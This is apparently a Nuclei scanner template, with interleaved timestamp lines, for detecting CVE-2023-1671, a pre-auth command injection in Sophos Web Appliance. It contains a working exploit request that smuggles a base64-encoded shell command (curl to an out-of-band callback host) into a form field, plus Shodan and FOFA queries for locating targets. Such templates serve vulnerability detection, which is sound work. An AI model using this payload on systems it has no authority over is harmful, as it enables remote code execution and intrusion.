2023-04-27 15:42:42 +00:00
id : CVE-2023-1671
info :
name : Sophos Web Appliance - Remote Code Execution
author : Co5mos
severity : critical
description : |
A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
2023-04-27 15:42:42 +00:00
reference :
- https://vulncheck.com/blog/cve-2023-1671-analysis
- https://nvd.nist.gov/vuln/detail/CVE-2023-1671
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
- https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
2024-03-23 09:28:19 +00:00
- https://github.com/lions2012/Penetration_Testing_POC
2023-04-27 15:42:42 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-1671
cwe-id : CWE-77
2024-03-23 09:28:19 +00:00
epss-score : 0.96156
epss-percentile : 0.99469
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
2023-04-27 15:42:42 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:43:37 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : sophos
product : web_appliance
2023-09-06 11:43:37 +00:00
shodan-query : title:"Sophos Web Appliance"
fofa-query : title="Sophos Web Appliance"
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,packetstorm,rce,sophos,oast,kev
2023-04-27 15:42:42 +00:00
2023-04-27 17:13:18 +00:00
http :
2023-04-27 15:42:42 +00:00
- raw :
- |
POST /index.php?c=blocked&action=continue HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-04-27 17:13:18 +00:00
args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
2023-04-27 15:42:42 +00:00
2023-06-09 12:24:34 +00:00
matchers-condition : and
2023-04-27 15:42:42 +00:00
matchers :
- type : word
part : interactsh_protocol
words :
2023-04-27 17:13:18 +00:00
- "http"
- type : word
part : interactsh_request
words :
2023-04-27 17:15:45 +00:00
- "User-Agent: curl"
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022100ae0e465ec75fd0a4861424e3aad7f02640cf6221038527efafe82c6742e6737002206c97e80f7b304f7c6b2617847d8a6c3bc6133ac27161b8921c0781f00317ca0d:922c64590222798bb761d5b6d8e72950